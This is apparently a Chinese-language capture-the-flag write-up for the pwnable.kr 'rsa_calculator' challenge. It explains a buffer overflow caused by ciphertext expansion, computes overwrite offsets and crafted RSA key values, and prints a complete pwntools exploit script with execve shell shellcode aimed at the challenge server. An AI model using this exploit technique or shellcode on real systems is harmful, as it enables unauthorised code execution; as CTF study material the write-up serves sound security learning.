赞赏码 & 联系方式 & 个人闲话
逆向工程前言
pwnable.kr - rsa_calculator
Li XJ Dong TF Miao X 2019 年 5 月 3 日 星期五
目录
第一部分 背景简介
1.1 linux程序的常用保护机制
1.2 RSA算法
1.3 缓冲区溢出
第二部分 漏洞分析
2.1 ida反汇编查找漏洞
2.2 确定set key函数距密文缓冲区的偏移
2.3 构造p、q、e、d和明文
第三部分 攻击代码分析
第四部分 总结
参考资料
第一部分 背景简介
1.1 linux程序的常用保护机制
操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,在linux下编写漏洞利用代码时,需要特别注意目标进程是否开启了NX和PIE等机制,例如存在NX就不能直接执行栈上的数据,存在PIE各个系统调用的地址是随机化的。
NX即No-eXecute(不可执行)的意思,基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
PIE内存地址随机化,有以下三种情况:
1 2 3 |
0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址,stack和vdso页面随机化。 2 - 表示在1的基础上增加栈(heap)的随机化。 |
PIE可以防范基于Ret2libc方式的针对NX的攻击。PIE和NX配合使用,能有效阻止攻击者在堆栈上运行恶意代码。PIE最早由RedHat的人实现,他在连接起上增加了-pie选项,这样使用-fPIE编译的对象就能通过连接器得到位置无关可执行程序。
1.2 RSA算法
RSA加密算法是一种非对称加密算法,它既可用于加密,又可用于数字签名。大数分解的难度决定了RSA算法的可靠性。RSA算法的基本流程如下:解密者拥有私钥,并且将由私钥计算生成的公钥发布给加密者。加密都使用公钥进行加密,并将密文发送到解密者,解密者用私钥解密将密文解码为明文。
1.3 缓冲区溢出
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出(buffer overflow)是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
第二部分 漏洞分析
解题思路:明文缓冲区g_pbuf和密文缓冲区g_ebuf的大小相同。在RSA加密过程中,每一字节的明文都会被加密为四字节的密文。所以当明文足够长时,密文缓冲区就会产生溢出。通过这个溢出,我们可将set key函数入口地址改为明文缓冲区地址。这样一来,程序调用set key函数时,就会跳转到明文缓冲区。只要我们事先在明文缓冲区放入shellcode,那么该shellcode就会被执行,从而我们可以获得root权限。
查看该文件的保护设置,发现NX(栈不可执行)和PIE(地址随机化)都未开启,证明我们的攻击思路是可行的。
2.1 ida反汇编查找漏洞
RSA_encrypt加密函数里存在缓冲区溢出漏洞。该函数是对明文逐字节进行RSA加密,然后将加密结果放入密文缓冲区g_ebuf。对于加密函数encrypt,它的输入是char型,占一字节,而它的输出是int型,占四字节。也就是说,每一字节的明文都会被加密为四字节的密文。而明文缓冲区g_pbuf和密文缓冲区g_ebuf的大小相同,都为1024字节。所以当明文的长度超过256字节时,密文缓冲区就会发生溢出。
2.2 确定set key函数距密文缓冲区的偏移
明文缓冲区g_pbuf的地址为0x602560。
set key函数入口地址为0x602500, 密文缓冲区g_ebuf的地址为0x6020E0,所以之间的偏移为0x602500-0x6020E0=0x420=1056。我们的目的,是用明文缓冲区g_pbuf的地址(0x602560)去覆盖set key函数入口地址。所以密文的长度应为1056+4(0x602560)=1060。由于明文与密文具有1:4映射关系,所以明文的长度为1060/4=265。
2.3 构造p、q、e、d和明文
明文的最后一字节m,通过RSA加密后的结果必须为0x602560,即POW(m,e)= 0x602560(mod n),其中n=p*q。将等式换成十进制并重新排列,得到n * A + 6301024 = POW(m,e)。我们将m设置成14,e设置成7,因为这样POW(m,e)mod n的余数会最接近数字6301024。于是n的范围为6301024~12389060。p和q是__int16型,我们将其分别设置为1217和10180。根据标准RSA算法,d必须满足e * d = 1(mod (p-1)(q-1))。但原程序的判断语句if ( e < v5 && d < v5 && v2 * v1 % v5 != 1 )是存在缺陷的(v5 = (p-1)(q-1)))。只要我们构造的d >= v5,v2 * v1 % v5 != 1就会被忽略,这个判断语句永假,从而程序认为我们的密钥构造是正确的。这里,我们将d取值为12389061。
明文的形式为:shellcode(23字节)+”A”*241(241字节的填充)+”\x0e”(特殊构造的最后一字节,即14)。
第三部分 攻击代码分析
我们先执行1.set key操作,设定p,q,e,d的值。然后再执行2.encrypt操作,让程序对我们设计的明文进行加密。这样一来,就可以将set key函数入口地址改为shellcode地址。
攻击代码如下:
from pwn import * #导入pwn库shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"p=remote('pwnable.kr',9012)#设定的p,q,e,d
p_var="1217"
q="10180"
e="7"
d="12389061"p.sendline("1") #设定密钥
p.recv()
p.sendline(p_var)
p.recv()
p.sendline(q)
p.recv()
p.sendline(e)
p.recv()
p.sendline(d)
p.recv()p.sendline("2") #加密
p.sendline("265")
p.recv()
payload=shellcode+"A"*241+"\x0e" #构造的明文
p.sendline(payload)p.interactive() #交互模式
运行结果如下:
这个时候,set key函数入口地址已被换成shellcode存放地址。所以只要我们输入1(set key),即可执行shellcode。
Shellcode执行后,我们获得了flag文件。
文件内容“what a stupid buggy rsa calculator! :(”也就是该题的答案。
提交答案,显示成功!
第四部分 总结
程序存在多处漏洞,比如缓冲区溢出、格式化字符串、整数溢出。我们主要利用的是RSA_encrypt函数的缓冲区溢出漏洞。该漏洞是由于明文加密扩展导致的。利用该漏洞,我们可以将set key函数的入口地址改写为shellcode存放地址。从而执行set key函数时,程序会执行我们的shellcode。为了达到覆盖地址的目的,明文的最后一字节的加密结果必须为0x602560,这就需要我们精心构造key。Set key函数看上去符合RSA加密标准,但实际存在一个致命的漏洞:它的判断语句
if ( e < phi && d < phi && d * e % phi != 1 ) 写错了。这就是说,只要我们输入的d满足大于等于phi即可,而不必满足d * e % phi == 1这个严苛的条件。如此一来,我们就能很轻松将key设置成想要的值。
攻击思路不只上述一种。比如,我们利用RSA_decrypt函数的栈溢出覆盖返回地址为pri变量的地址,并利用set key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp,从而会执行后面的shellcode。
这些漏洞是程序员的代码不规范导致的,所以程序员有责任和义务养成安全编程的思想,理应熟悉并慎用那些可能会产生漏洞的函数(比如gets、strcpy)。另一方面,我们编译文件时,应尽可能开启操作系统的保护机制。如果该RSA程序开启了NX(不可执行栈)、PIE(地址随机化),那么我们前面提到的攻击方法就会失效。通过本次实验,我们理解了RSA加解密原理,掌握了缓冲区溢出的产生原因和对应的利用方法,受益匪浅。
参考资料
https://code1018.tistory.com/m/228
https://r00tnb.github.io/2018/03/14/pwnable.kr-rsa_calculator/
https://github.com/DoubleLabyrinth/pwnable.kr/